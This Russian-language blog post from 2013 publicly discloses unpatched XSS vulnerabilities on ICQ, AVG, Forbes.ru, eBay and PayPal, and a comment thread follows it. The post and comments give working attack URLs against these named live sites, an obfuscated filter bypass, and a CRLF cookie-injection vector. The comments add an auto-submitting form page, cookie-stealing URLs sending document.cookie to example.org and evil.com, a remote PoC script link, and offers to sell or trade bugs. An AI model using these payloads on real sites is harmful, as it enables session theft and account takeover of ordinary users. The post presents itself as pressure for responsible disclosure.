30 декабря 2013 в 19:53

0day* уязвимости к Новому Году: ICQ, Ebay, Forbes, PayPal и AVG

В одном из своих постов я пытался привлечь внимание к проблеме безответственного отношения к уязвимостям различных веб-сайтов. Представьте себе ситуацию: вы энтузиаст в области информационной безопасности, нашли уязвимости на каком-нибудь известном сайте и пытаетесь о ней сообщить, но:

  • Невозможно найти никаких контактных данных для связи с тех. поддержкой сайта, а лучше именно со службой безопасности;
  • Контактные данные есть, но вам никто не отвечает;
  • Или чудо! Контактные данные есть, вам отвечают, но говорят что это не уязвимость и исправлять они ничего не будут.

В подобных ситуациях чаще всего энтузиасты ждут, а потом раскрывают детали уязвимостей. Но проблема в том, что даже при огласке ничего не меняется. Этот пост — компиляция подобных огласок (т.е. вся представленная информация уже была доступна публично длительное время) об уязвимостях на крупных ресурсах, возможно, что-нибудь да и изменится.

Для поста выбрана XSS уязвимость (конечно, это атака, но мы не об этом). Так как она Client Side и не несёт в себе активной server-side угрозы.

XSS — возможность встроить свой JS на целевом сайте и выполнять в т.ч. произвольные действия под авторизованным пользователем (считается «полноценной», если можно проводить кроссдоменные действия). В некоторых случаях позволяет полностью «увести» аккаунт пользователя (кража cookie, смена пароля).

Все* перечисленные ниже уязвимости являются неисправленными на момент написания поста, т.е. «0day».

ICQ.com, reflected XSS




627 сайт по популярности в России. В былое время — самый популярный в мире Instant Messenger. Хоть это и reflected xss, но работает и в Chrome

http://search.icq.com/search/selected_img.php?site_url=javascript:alert(document.domain)

AVG.com, reflected XSS





90-ый по популярности в США. Сайт известной американской антивирусной компании. Также: reflected + работоспособность в Chrome.

http://isearch.avg.com/videos?s=sideNav&cklang=en-en&cmpid=%27%3balert%28document.domain%29%3b%2f%2f&q=test

Forbes.ru, reflected + dom XSS


Всем известный Forbes (164 по посещаемости в РФ). Так как мы можем выполнить произвольный JS, значит мы можем и изменить содержимое страницы, например — написать что Habrahabr купил Forbes.

image
Reflected XSS: http://www.forbes.ru/search-content?keys=">?<script>alert(document.domain)</script> (FF)

image
DOM XSS (уязвимость в библиотеке Masha.JS), http://forbes.ru/#sel=<img src = x onerror=alert(document.domain)>

Ebay.com, strored XSS


Всемирно известный интернет-аукцион, 6 по популярности в США. Внезапно — хранимая XSS! На ebay есть саб-портал — members.ebay.com. Пользователи могут вставлять себе в подпись ограниченный html/js («по умолчанию» нет доступа к cookie). Но есть возможность обойти этот фильтр — просто обфусцировать свой код.

<script>var _0xf17c=["\x64\x6F\x6D\x61\x69\x6E"];alert(document[_0xf17c[0]]);</script>


image

PayPal, CRLF + XSS via Cookie


16 по популярности в США. Добрались до звездочки(*), а теперь пояснение. Долгое время эта уязвимость оставалась неисправленной, даже после репорта автора этой находки. PayPal говорил, что нет импакта и платить ничего не будет (собственно, и не исправлял уязвимости). Уже после публикации видео на youtube (которое им было отправлено до публичного раскрытия) paypal всё исправил, но так и не ответил автору… Здесь сценарий чуть сложнее, чем обычно. Вектор следующий:
  1. Первым шагом при помощи CRLF инъекции внедряется произвольная Cookie пользователю (Cookie injection via CRLF), например www.paypal.com/.x%0dSet-Cookie:ololo=122;%20path=/;%20domain=.paypal.com
  2. Находится место, где Cookie показывается пользователю в «чистом» виде (ad.paypal.com/jin/cookie.jsp)




Призыв один: обратить внимание владельцам веб-сайтов на пункты в начале статьи и адекватней реагировать на сообщения об уязвимостях, даже если у вас просто какой-то личный, небольшой проект.

С наступающим!
Sergey Belov @BeLove
карма
239,7
рейтинг 0,0
Пользователь
Самое читаемое Разработка

Комментарии (67)

  • НЛО прилетело и опубликовало эту надпись здесь
    • +15
      хм, а если скинуть ссылку кому-то еще?
      • НЛО прилетело и опубликовало эту надпись здесь
        • +17
          практический пример хоть по одному из вышеприведенных?

          Можно выполнять произвольный JS-код: тырим куки @ отправляем себе на сервер
          выполнить то можно, но в преобладающем большинстве случаев результат этого выполнения увидите только вы и только в своем браузере

          да ладно: за скромную плату любой порносайт будет открывать у своих посетителей всплывающие окна с произвольным адресом
          • НЛО прилетело и опубликовало эту надпись здесь
            • +3
              С одной стороны пассивная xss мало толку дает. Но например можно скрытно воткнуть iframe на exploit. Или если сайт позволяет отправлять что-то или менять пароль только GET запросом, то можно запихнуть в ссылку. Так то спорить не буду, уязвимость сомнительная
              • +2
                Даже если это не ГЕТ, то никакой разницы нет, создается страничка-прокладка, типа evil.html, в нее пишется что то типа:
                <html>
                <body onload="document.getElementById('sf').submit();">
                <form id="sf" action="http://sait-gde-xss.com/forma.php">
                <input type="hidden" name="search" value="tut telo xsski v urlencode naprimer">
                <input type="submit" value="." style="display:none;">
                </form>
                </body>
                </html>
                

                Жертве кидается этот линк под любым предлогом.
            • +6
              Берем куки, ставим себе, мы авторизованы под жертвой.
              • НЛО прилетело и опубликовало эту надпись здесь
                • +4
                  Вы с преобладающего большинства случаев как-то быстро ушли на конкретный paypal ) По-моему мы говорим в более обширном контексте.
                • +1
                  Это вы верно заметили, и от xss действительно спасает привязка кукисов к ip например и прочие техники. Но мы вроде бы говорим вообще (в большинстве случаев никто ничего не привязывает), а не в частности.
                  • НЛО прилетело и опубликовало эту надпись здесь
                    • +8
                      Сделай одолжение, не отписывайтся в этом топике. Столько невежественного бреда я давно не читал. И не считаю нужным просвещать тебя и других неосведомленных о том, как можно противоправно применить эти уязвимости просто из соображений этики и во избежание набегов скрипт-киддис.
            • +3
              Семантер, вы серьезно? Как зачем куки? Куки часто выступают авторизационной информацией (логин / пасс / сессия / что угодно). Подставляя эти данные себе мы можем войти в админку / кабинет и так далее. Прежде чем что-то говорить, иногда советую вам потратить пару минут в интернете на вопрос «что такое хсс» и с чем его едят. Поверьте вы очень смешны любому более-менее знающему хакеру, для которого раскрытие путей и то уже большой подарок и он сможет выжать из этого многое. Не говоря уж о хсс.
              • НЛО прилетело и опубликовало эту надпись здесь
                • +3
                  В опере есть встроенный едитор кукисов, в мозилле полно плагинов, в чем проблема?
                  • НЛО прилетело и опубликовало эту надпись здесь
                    • +26
                      Выкладывайте свои куки, хранимые хабрахабром, раз никакой проблемы нету
                    • +13
                      Лолшто товарищ? Вы думаете человек, знающий html/js, способный раскрутить xss на подобных серверах не знает как подменить куки? Что за абсурд?
                      человек впадает в ступор

                      Знаете, я многим обьяснял все тонкости хсс, и никто не впадал в ступор. Даже странно слышать.
                    • +5
                      Ээээ… Да при сегодняшних тулзах даже скрипт-кидди сможет это сделать. Это вам не десять лет назад.
                    • +1
                      Это троль, хватит его кормить, не отвечайте ему
                      Интересно как он вообще на хабр попал)
        • 0
          • НЛО прилетело и опубликовало эту надпись здесь
            • +2
              Семастер, ну берегите же вы свои нервные клетки, если с вашей точки зрения мы пишем бред, ну просто забейте и скажите про себя «вот идиоты» и перестаньте нам доказывать свои истины. Разве мы стоим вашего времени?
            • +1
              да, вы правы. xss — не уязвимость, а сплошная спекуляция. мы просто троллим.
              • НЛО прилетело и опубликовало эту надпись здесь
                • 0
                  Вы думаете я бегу в гугл за «что такое хсс»? Знаете есть такой журнал — Хакер? i.imgur.com/yKYt6Gc.jpg
                  • 0
                    Знаете есть такой журнал — Хакер?

                    Интересную мурзилку вы упомянули… прокомментируете? Основная мысль: " на 11.10.2013 99,9% доступных вэб серверов можно использовать как прокси". Вы считаете, что серьезное техническое издание может такое написать?
                    • –2
                      Извините, не читал, и особого желания в 0:55 читать нет. Комментировать не буду, про «мурзилку» это вы конечно зря, просто формат издания не позволяет фильтровать какие-то не точности иногда — не все из редакторов разбираются в той или иной теме так, как авторы статей. Иначе бы эти авторы и не нужны были, редакторы бы сами все писали и все. В любом случае, я не редактор, а автор, и если вы найдете оплошности в моих статьях — велкам, обсудим. За других отвечать я не буду. А если вы к тому, что «васька плохо написал, значит там все такие» — ну незнаю, почитайте Степа, Мага, Касперского (не Евгения) и других мастеров своего дела.
                      • +3
                        PHP-бот для Windows КОДИМ БОТА ДЛЯ РАСПРЕДЕЛЕННЫХ ВЫЧИСЛЕНИЙ . Ваше? Прочитал. Позволю себе извлечь основную мыль статьи: пишем скрипт на PHP принимающий команды от сервера, компилируем это дело при помощи специальной утилитки в .exe, берем у друга программку md5.exe, объединяем это в единую систему в .bat скрипте, который тоже компилируем в .exe. Особо доставило:
                        ХАКЕРСКИЕ ФИЧИ
                        attrib "%CD%\bot.exe" +h +s
                        Такая команда скроет и сделает системным наш файл бота.
                        Спрятать файл в потоках NTFS немного сложнее:
                        cd “%systemroot%\system32
                        type packed_bot.exe>calc.exe:b0t.exe

                        Зачем все это? Расшифровать md5. Судя по контексту несоленый. Один.
                        • +1
                          Хех, действительно мое ) Данная статья скорее концепт, мне действительно пришлось нечто такое сооружать, но это небыл брут мд5, кое-что другое. Просто читателям нужно донести суть, а не рассказывать ненужные людям моменты.
                          Насчет врезок, которые вам «доставили», ну что ж, могу сказать только то, что разделов в журнале много, и какая-то информация, которая является очевидной и простой для сисадмина, не всегда очевидна для программера (программер это не сисадмин). Понимаете, журнал и другая литература это не показывание «насколько я крут» и как много умных слов я знаю. Это наоборот диалог с читателем и старание донести ему полезные приемы, информацию и прочее.
                          • 0
                            Вы только не обижайтесь. В общем статья познавательная и без проявлений явной некомпетентности, как по первой ссылке. Прекрасно понимаю, что «Хакер» не может уследить за всем что печатает. У журнала есть свои читатели — молодые люди, желающие получить общее представление о компьютерной безопасности. Просто считаю некорректным приводить его в качестве авторитетного источника информации.
                            • –1
                              Конечно, я не обижаюсь.

                              Но я думаю, что XSS все-таки является одним из самых распространенных и хорошо известных способов взлома, тем самым можно предположить, что если уж я написал об этом статью в журнал, где большинство редакторов (если не все) имеют представление о том, что это такое, и они это издали, то, скорее всего, я прав в нашем небольшом спорчике со semaster'ом.

                              С наступающим!
                              • 0
                                В этом споре я скорее на вашей стороне. Странные люди. Им говорят «вот здесь может быть уязвимость, обратите внимание», а они в ответ — " мы не видели рабочего эксплоита в паблике, вы бредите!". Я определенно на вашей стороне.

                                И Вас с наступающим!
                • +1
                  Автора посмотрите.
        • +3
          На PayPal, например, можно стилизовать и вывести окошко: подтвердите пожалуйста номер карты. Номер потом отослать себе.
          Такое окошко там реально существует и может появляется при входе с другого IP, так что пользователь ничего не заподозрит.
        • +5
          У вас явно мало фантазии.

          Произвольный JS = можно нарисовать идентичную форму логина на сайт и через history API и заменить урл в адресной строке
          Вообще никак не отличить от реального диалога логина, работает как реальный диалог, но дополнительно отсылает данные на сторонний сервер.

          Работает с любым сайтом вообще.
    • +7
      Вы программист? Если да, то я вам соболезную. Вы выбрали не ту профессию. Без обид.
      Чем больше, таких как вы, тем больше возможностей заработать людям, которые знаю, как xss атаку применять.
      Если вам все равно, пожалуйста, доказывайте дальше, но не тут. Просто вы сейчас выставляет себя клоуном.

      Не надо опускать хакеров, которые создали данную группу уязвимостей.
      • НЛО прилетело и опубликовало эту надпись здесь
        • +1
          Да программист с 13 летнем стажем. Я видел «сцену», рост хак темы и тд… Был на тусовках. Продолжать дальше не буду по объективным причинам.

          Вы еще больше опустили себя.

          и да «хакеры» уязвимости не создали, они нашли пути их применения.

          Сами себя опровергаете. Хоть выделил в кавычки слово.

          и не выплатят вознаграждения за репорты «уязвимостей», не все хакеры заинтересованы в деньгах. Тут причина драйва. + вы не знаете, что изначально обозначает слово хакер.

          Вы не ответили на мой четкий вопрос. Значит с высокой вероятностью нет.

          Мне ваши соболезнования не нужны, соболезнуют все тут собравшийся, что настоящих ИТ-шников мало. А псевдо ИТ-шников полно. Вы тут затесались не понятной причине. Зачем вам комментировать, если мы тут все не правы? Что хотите доказать? Вы не поменяете мнение других. Может не все знаю как применять, но есть кто знает.

          Лучше не злите народ и не стоит тут обсуждать ваши минусы. Если что меня поправят другие. За обсуждения системы баллов запрещено.

          Вам проще забыть эту тему. Так вам будет проще жить. Вы уйму нервных клеток потратили, а других повеселили.
  • НЛО прилетело и опубликовало эту надпись здесь
    • НЛО прилетело и опубликовало эту надпись здесь
  • +1
    Кстати сам сайт icq.com куки выдает на .icq.com и не httponly
    Вот так можно украсть куки:
    http://search.icq.com/search/selected_img.php?site_url=javascript:alert(window.location='http://example.org/icq.html?'.concat(document.cookie))

    • 0
      Позвольте спросить, зачем тут.конкат? Даже не +конкат, а именно.конкат ). Может все-таки + escape(document.cookie). Или вообще + encodeURIComponent(document.cookie)? Или даже вот так: http://search.icq.com/search/selected_img.php?site_url=javascript:var x=new Image(); x.src='http://evil.com/s.php?c='+encodeURIComponent(document.cookie);
      • +1
        у меня в хроме + не срабатывал.
        • 0
          Извиняюсь, сам что-то затупил чуток.
  • НЛО прилетело и опубликовало эту надпись здесь
    • +11
      Зря это вы про минусующих вспомнили, и про их непревзойдённость заговорили. Вас ведь правда по делу минусуют, ибо вероятность использовать подобные уязвимости есть, если не на paypal, то на каком-то icq — точно. Проверьте сами, никто не обязан вас тыкать носом, где и чего именно можно применить.
    • +3
      В любом случае, Вас тоже с наступающим! :)
    • +1
      Если Вы считаете, что большинство не право, тогда объясните как XSS попало в TOP10 OWASP, причём как A3? Я советую Вам лучше изучить теорию, чтобы понимать как это работает и как это можно применять. Ваши выводы похоже на недостаток опыта.
    • +16
      выкладывайте пример хоть по одному из приведенному сайту где произведены какое либо значимое действие (авторизация\изменение настроек\перевод) в отношении сайта

      Да без проблем! Не поленился, написал специально для Вас код на JS, который, используя уязвимость на forbes.ru меняет каждое из полей «О себе» на «XSS PoC».

      Скрипт относительно прост, написан на скорую руку, поэтому и комментариев нет. Писался только для PoC (Proof of Concept) эксплоита. Тестировался только в последней Mozilla Firefox.

      Это лишь пример, но он наглядно демонстрирует, как с помощью XSS можно влиять на критически важную информацию пользователя.

      image

      Сам код находится здесь:
      http://pastebin.com/bgBmN6kB

      Использовать (после авторизации, естественно) так:
      http://www.forbes.ru/search-content?keys=%22%3E%3Cscript%20src=%22http://pastebin.com/raw.php?i=bgBmN6kB%22%3E%3C/script%3E

      Прошу заметить, что для вывода дебаг-лога используется всплывающее окно, созданное JavaScript'ом. Мозилла по-дефолту режет такие, поэтому для просмотра лога разрешить открытие нового окна, когда браузер это попросит.

      Использование данного скрипта разрешено только в учебных целях. Я, автор вышеизложенного кода, не несу никакой ответственности за любое его незаконное использование.
  • НЛО прилетело и опубликовало эту надпись здесь
    • +1
      Я прошу прощенья если я вас как-то оскорбил своим «лолшто». Мне казалость это довольно безобидное слово. С наступающим вас!
  • +3
    Не знаю кто как, а вообще в крупных компаниях за репорты об уязвимостях еще и финансовое вознаграждение полагается (ну, в нормальных западных компаниях и одной нашей)… Врядли это относится к указанный вышей сайтам, ну да и ладно, это их проблема, что они даже не удосужились прочитать/понять, что им прислали…
    С другой стороны, вайтхаты (мы же на светлой стороне, правильно?) не должны выкладывать в паблик не закрытые уязвимости, даже при таком раскладе с безалаберностью из администрации… обычные пользователи пострадают из-за этого, как только очередная партия скрипткиддеров получит «знания» и пойдет тестить на своих соседях/девушках/клиентах ebay.
    • +1
      А вот мне кажется, что вы неправы. Пока уязвимость не раскрыта публично, у разработчика продукта есть выбор: закрыть или проигнорировать. Помните? Пока для производителя автомобиля дешевле заплатить семьям погибших и искалеченным, чем устранять опасный брак — люди будут гибнуть. Из реальных примеров — Windows NT и пинг смерти. Microsoft не собиралась закрывать эту уязвимость, но была вынуждена ввиду активной эксплуатации.
      В случае публичного раскрытия уязвимости у производителя тоже есть выбор: или сделать действительно безопасный продукт или похоронить, ибо велика вероятность что придет армия школьников и уничтожит его.
      • 0
        Это утверждение справедливо для производителей софта, а не интернет-сервисов, т.к. даже закрытые давно 0days не гарантируют того, что их перестанут использовать эксплойтпаки типа BlackHole Exploit Kit, скорей даже наоборот — когда закрывается очередная дырав джаве или флеше, эти обновления полностью реверсятся и пишутся новые эксплойты под уже закрытые баги. Шутка ли, если на много больше половины обычных домашних пользователей не обновляют свои, к тому же пиратские, windows? Даже в банках обновления для пользователей ставятся только тогда, когда эти обновления решают проблемы, а не устраняют уязвимости. Да и большое количество софта у них работает только на устаревших версиях джавы и от этого никуда не деться…
        Вот тут то и появляется оценка рисков, когда вероятность плохого сценария очень мала, эффект от воздействия недооценен и выставлен «сильный уровень воздействия», а итоговое значение — незначительный риск. А при нашем менталитете компании закрывают реальные баги в ПО просто пачкой документов, чтобы регуляторы не придрались. Это и есть «бумажная безопасность». Чего же надо было ждать от вендоров?
    • 0
      Вот к примеру в PayPal говорили, что нет угрозы — платить не будем, даже когда я записал видео. Раз нет угрозы, почему бы не выложить в паблик?)
  • +3
    У меня уже примерно полгода есть доступ к базе отечественного магазина nokia, которая содержит ФИО, телефоны покупателей и некоторые другие данные. Писал в поддержкуи nokia — этот сайт вне их компетенции. Писал по контактам на сайте — молчание.
    • +1
      Напишите об этом в роскомнадзор, хоть какая-то польза от него должна же быть =)
    • 0
      Я как-то тоже обнаружил возможность внедрения простейшей SQL-инъекции с получением всей БД одного из фотоконкурсов местного интернет-провайдера. Админу-разработчику-верстальщику сообщил, он в спешке поправил. Думается, если бы я не был с ним знаком и сообщил телефонной девочке из этой компании, вряд ли бы уязвимость была устранена.
    • 0
      Все верно, дистрибьютор-магазин не является собственностью Нокии и поэтому писать надо владельцам магазина, а то что они завафлили и забили это их косяк и да это плохо. Пишите еще в магазин, либо забейте(что плохо), либо в паблик — тот же bugscollector. Но я против паблика, слишком не хорошо для юзверей сервиса, все же не XSS… ) Если Магазин будет игнорировать — роскомнадзор)
      • +2
        Я поэтому и не выкладывал в паблик, ибо слишком много персональных данных, пострадают пользователи. После праздников попробую ещё раз написать, и если не ответят то познакомлюсь с роскомнадзором (=
    • 0
      Есть еще решение, в личку написал.
  • +2
    Почему не указали тех, кто нашел уязвимости? И почему нет ссылок на сам ресурс bugscollector.com?
    • +1
      Потому что Хабр стал бан-машиной и я в целях личной безопасности не стал указывать ссылки на bugscollector, чтобы не приравняли к пиару. Поэтому всё описал в «общих» словах.
      Конечно бы я указал его, PR никогда не лишний :)
  • 0
    с пейпала бы можно денег стрясти. или продать

    кстати кому надо header inject вконтакте?
    • 0
      очень интересно, в лс если можно

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.